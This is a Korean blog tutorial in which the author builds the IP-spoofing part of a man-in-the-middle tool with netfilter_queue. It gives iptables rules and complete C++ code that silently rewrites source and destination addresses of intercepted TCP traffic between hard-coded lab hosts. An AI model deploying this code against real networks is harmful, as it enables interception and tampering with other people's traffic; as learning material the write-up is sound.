본문 바로가기
Hack/Network

[Netfilter] IP Spoofing With netfilter_queue

by Becoming a Hacker 2022. 8. 28.
반응형

현재 개인 프로젝트를 하고 있는데 ARP Spoofing과 netfilter_queue를 이용하여 MITM을 걸 수 있도록 Tool을 개발하고 있습니다.

 

ARP Spoofing Tools에 대한 내용은 아래의 포스팅을 참고해주시기 바랍니다.

 

[Python Scapy] ARP Spoofing 구현

ARP Spoofing ARP Spoofing이란 ARP(Address Resolution Protocol)를 이용하여 공격 대상에게 공격자를 Gateway와 같은 다른 대상으로 속여 중간에서 패킷을 가로챔으로써 도청하거나 조작이 가능한 공격 입니다...

hacksms.tistory.com

 

ARP Spoofing Tool(Python Scapy)과는 다르게 IP Spoofing 기능은 netfilter_queue를 이용하여 개발을 하였는데, Python Scapy는 Queue를 이용하여 Network Packet을 핸들링 하는 게 아니라 복사하여 사용하는 방식이다보니 편하게 Network Packet을 핸들링할 수 있는 netfilter_queue를 사용하게 되었습니다.

iptables를 잘 쓸 수 있다면 python의 scapy를 이용해서도 충분히 가능할 것 같은데.. 저한테는 너무 어려운 일이었습니다...

 

C++를 이용한 IP Spoofing 구현 

netfilter에 대한 설명이 궁금하신 분들은 아래의 포스팅을 참고해주시기 바랍니다.

 

iptables와 netfilter에 대하여

netfilter netfilter란 Kernel에 존재하는 Network 관련 Framework로써 원하는 지점에서 Packet 제어를 위한 다섯 가지 Hook(지점)을 제공합니다. 다섯 가지 Hook은 지점에 따라 PREROUTING, INPUT, FORWARD, OUTP..

hacksms.tistory.com

 

사전에 필요한 작업

1. netfilter 설치

 

[Netfilter] netfilter_queue 사용 방법

netfilter_queue 설치 먼저 netfilter_queue를 사용하기 위해 linfnetlink와 libmnl을 설치해준뒤, libnetfilter_queue를 설치해줍니다. # Install libnfnetlink $ wget https://www.netfilter.org/pub/libnfnetli..

hacksms.tistory.com

 

2. IPTABLES 설정

※ 해당 iptables 명령어는 특정 IP로 RST 패킷을 날리지 못하도록 하고 80, 443으로 연결을 시도하는 Packet과 특정 IP에서 전달되는 Packet을 Netfilter_queue로 전달하는 역할을 함

$ sudo iptables -A OUTPUT -p tcp --tcp-flags RST RST -s 192.168.45.87 -j DROP
$ sudo iptables -A OUTPUT -p tcp --dport 80 -j NFQUEUE
$ sudo iptables -A OUTPUT -p tcp --dport 443 -j NFQUEUE
$ sudo iptables -A INPUT -p tcp -s 192.168.45.116 -j NFQUEUE

 

 

간략 코드 흐름 설명

1. nfq_create_queue 함수에서 3번째 인자로 전달한 callback 함수가 nfq_handle_packet 함수가 실행될 때 Callback 함수로써 같이 실행됩니다.

extern "C"
{
#include <libnetfilter_queue/libnetfilter_queue.h>
#include <libnetfilter_queue/pktbuff.h>
#include <libnetfilter_queue/libnetfilter_queue_ipv4.h>
#include <libnetfilter_queue/libnetfilter_queue_tcp.h>
}

static int callback(struct nfq_q_handle *qh, struct nfgenmsg *nfmsg, struct nfq_data *nfad, void *data){

...

}

int main(int argc, char **argv){

	// Intercept Packet
	qh = nfq_create_queue(h,  0, &callback, NULL);

...

	for (;;) {
		if ((rv = recv(fd, buf, sizeof(buf), 0)) >= 0) {
        	// Packet Handling
			nfq_handle_packet(h, buf, rv);
			continue;
		}

 

2. callback 함수는 Destination IP가 "192.168.45.222"일 때 "192.168.45.116"으로 변경한 뒤 전송하는 역할과 Source IP가 "192.168.45.116"일 때 "192.168.45.222"로 변경한 뒤 전송하는 역할을 하고 있습니다.

static int callback(struct nfq_q_handle *qh, struct nfgenmsg *nfmsg, struct nfq_data *nfad, void *data){

...
	// Packet Filtering
	// ntohs, ntohl is Big Endian-> Little Endian, htons, htonl is Little Endian -> Big Endian
	if(ip->protocol == IPPROTO_TCP && htonl(ip->daddr)==0xc0a82dde){
		// ip->daddr is Destination IP, Spoofing IP
		// 0x742da8c0 is 192.168.45.116
		ip->daddr = 0x742da8c0;
        
		// Calculate ip Checksum 
		ip->check = 0;
		ip->check = compute_checksum((unsigned short*)ip,ip->ihl<<2);
		nfq_tcp_compute_checksum_ipv4(tcp, ip);
		return nfq_set_verdict(qh, ntohl(ph->packet_id), NF_ACCEPT, pktb_len(pkBuff), pktb_data(pkBuff));
	}
	else if(ip->protocol == IPPROTO_TCP && htonl(ip->saddr)==0xc0a82d74){
		// 0x742da8c0 is 192.168.45.116, Need to Change Spoofing IP to Original Source IP
		ip->saddr = 0xde2da8c0;
		
		// Calculate ip Checksum 
		ip->check = 0;
		ip->check = compute_checksum((unsigned short*)ip,ip->ihl<<2);
		  
		nfq_tcp_compute_checksum_ipv4(tcp, ip);
		return nfq_set_verdict(qh, ntohl(ph->packet_id), NF_ACCEPT, pktb_len(pkBuff), pktb_data(pkBuff));
	}
        
}

 

전체 코드

#include <cstdio>
#include <cerrno>
#include <stdexcept>
#include <cstring>
#include <memory>
#include <functional>
#include <array>
#include <unistd.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <linux/netfilter.h>
  
extern "C"
{
#include <libnetfilter_queue/libnetfilter_queue.h>
#include <libnetfilter_queue/pktbuff.h>
#include <libnetfilter_queue/libnetfilter_queue_ipv4.h>
#include <libnetfilter_queue/libnetfilter_queue_tcp.h>
}
  
#define THROW_IF_TRUE(x, m) do { if((x)) { throw std::runtime_error(m); }} while(false)
  
#define CONCAT_0(pre, post) pre ## post
#define CONCAT_1(pre, post) CONCAT_0(pre, post)
#define GENERATE_IDENTIFICATOR(pre) CONCAT_1(pre, __LINE__)
  
using ScopedGuard = std::unique_ptr<void, std::function<void(void *)>>;
#define SCOPED_GUARD_NAMED(name, code) ScopedGuard name(reinterpret_cast<void *>(-1), [&](void *) -> void {code}); (void)name
#define SCOPED_GUARD(code) SCOPED_GUARD_NAMED(GENERATE_IDENTIFICATOR(genScopedGuard), code)

static unsigned short compute_checksum(unsigned short *addr, unsigned int count) {
	register unsigned long sum = 0;
	while (count > 1) {
	sum += * addr++;
	count -= 2;
	}
	//if any bytes left, pad the bytes and add
	if(count > 0) {
	sum += ((*addr)&htons(0xFF00));
	}
	//Fold sum to 16 bits: add carrier to result
	while (sum>>16) {
	  sum = (sum & 0xffff) + (sum >> 16);
	}
	//one's complement
	sum = ~sum;
	return ((unsigned short)sum);
}

static int callback(struct nfq_q_handle *qh, struct nfgenmsg *nfmsg,
	      struct nfq_data *nfad, void *data)
{
	struct nfqnl_msg_packet_hdr *ph = nfq_get_msg_packet_hdr(nfad);
	THROW_IF_TRUE(ph == nullptr, "Issue while packet header");
  
	unsigned char *rawData = nullptr;
	int len = nfq_get_payload(nfad, &rawData);
	THROW_IF_TRUE(len < 0, "Can\'t get payload data");
  
	struct pkt_buff * pkBuff = pktb_alloc(AF_INET, rawData, len, 0x1000);
	THROW_IF_TRUE(pkBuff == nullptr, "Issue while pktb allocate");
	SCOPED_GUARD( pktb_free(pkBuff); ); // Don't forget to clean up
  
	struct iphdr *ip = nfq_ip_get_hdr(pkBuff);
	THROW_IF_TRUE(ip == nullptr, "Issue while ipv4 header parse.");
  
	THROW_IF_TRUE(nfq_ip_set_transport_header(pkBuff, ip) < 0, "Can\'t set transport header.");

	// Packet Filtering
	// ntohs, ntohl is Big Endian-> Little Endian, htons, htonl is Little Endian -> Big Endian
	if(ip->protocol == IPPROTO_TCP && htonl(ip->daddr)==0xc0a82dde){
		struct tcphdr *tcp = nfq_tcp_get_hdr(pkBuff);
		THROW_IF_TRUE(tcp == nullptr, "Issue while tcp header.");
		
		// ip->daddr is Destination IP, Spoofing IP
		// 0x742da8c0 is 192.168.45.116
		ip->daddr = 0x742da8c0;
		
		// Calculate ip Checksum 
		ip->check = 0;
		ip->check = compute_checksum((unsigned short*)ip,ip->ihl<<2);
		  
		nfq_tcp_compute_checksum_ipv4(tcp, ip);
		return nfq_set_verdict(qh, ntohl(ph->packet_id), NF_ACCEPT, pktb_len(pkBuff), pktb_data(pkBuff));
	}
	else if(ip->protocol == IPPROTO_TCP && htonl(ip->saddr)==0xc0a82d74){
		struct tcphdr *tcp = nfq_tcp_get_hdr(pkBuff);
		THROW_IF_TRUE(tcp == nullptr, "Issue while tcp header.");
		
		// 0x742da8c0 is 192.168.45.116, Need to Change Spoofing IP to Original Source IP
		ip->saddr = 0xde2da8c0;
		
		// Calculate ip Checksum 
		ip->check = 0;
		ip->check = compute_checksum((unsigned short*)ip,ip->ihl<<2);
		  
		nfq_tcp_compute_checksum_ipv4(tcp, ip);
		return nfq_set_verdict(qh, ntohl(ph->packet_id), NF_ACCEPT, pktb_len(pkBuff), pktb_data(pkBuff));
	}
	return nfq_set_verdict(qh, ntohl(ph->packet_id), NF_ACCEPT, 0, NULL);
}


int main(int argc, char **argv)
{

	struct nfq_handle *h;
	struct nfq_q_handle *qh;
	struct nfnl_handle *nh;
	int fd;
	int rv;
	char buf[4096] __attribute__ ((aligned));

	h = nfq_open();

	if (!h) {
		fprintf(stderr, "error during nfq_open()\n");
		exit(1);
	}

	if (nfq_unbind_pf(h, AF_INET) < 0) {
		fprintf(stderr, "error during nfq_unbind_pf()\n");
		exit(1);
	}

	if (nfq_bind_pf(h, AF_INET) < 0) {
		fprintf(stderr, "error during nfq_bind_pf()\n");
		exit(1);
	}

	// Intercept Packet
	qh = nfq_create_queue(h,  0, &callback, NULL);

	if (!qh) {
		fprintf(stderr, "error during nfq_create_queue()\n");
		exit(1);
	}

	// NFQNL_COPY_PACKET is "copy entire packet"
	if (nfq_set_mode(qh, NFQNL_COPY_PACKET, 0xffff) < 0) {
		fprintf(stderr, "can't set packet_copy mode\n");
		exit(1);
	}

	fd = nfq_fd(h);

	for (;;) {
		if ((rv = recv(fd, buf, sizeof(buf), 0)) >= 0) {
			nfq_handle_packet(h, buf, rv);
			continue;
		}

		/* if your application is too slow to digest the packets that
		 * are sent from kernel-space, the socket buffer that we use
		 * to enqueue packets may fill up returning ENOBUFS. Depending
		 * on your application, this error may be ignored. Please, see
		 * the doxygen documentation of this library on how to improve
		 * this situation.
		 */

		if (rv < 0 && errno == ENOBUFS) {
			printf("losing packets!\n");
			continue;
		}

		perror("recv failed");
		break;
	}

	nfq_destroy_queue(qh);


#ifdef INSANE

	/* normally, applications SHOULD NOT issue this command, since
	 * it detaches other programs/sockets from AF_INET, too ! */

	printf("unbinding from AF_INET\n");
	nfq_unbind_pf(h, AF_INET);

#endif


	printf("closing library handle\n");
	nfq_close(h);

	exit(0);
}

 

실행 화면

댓글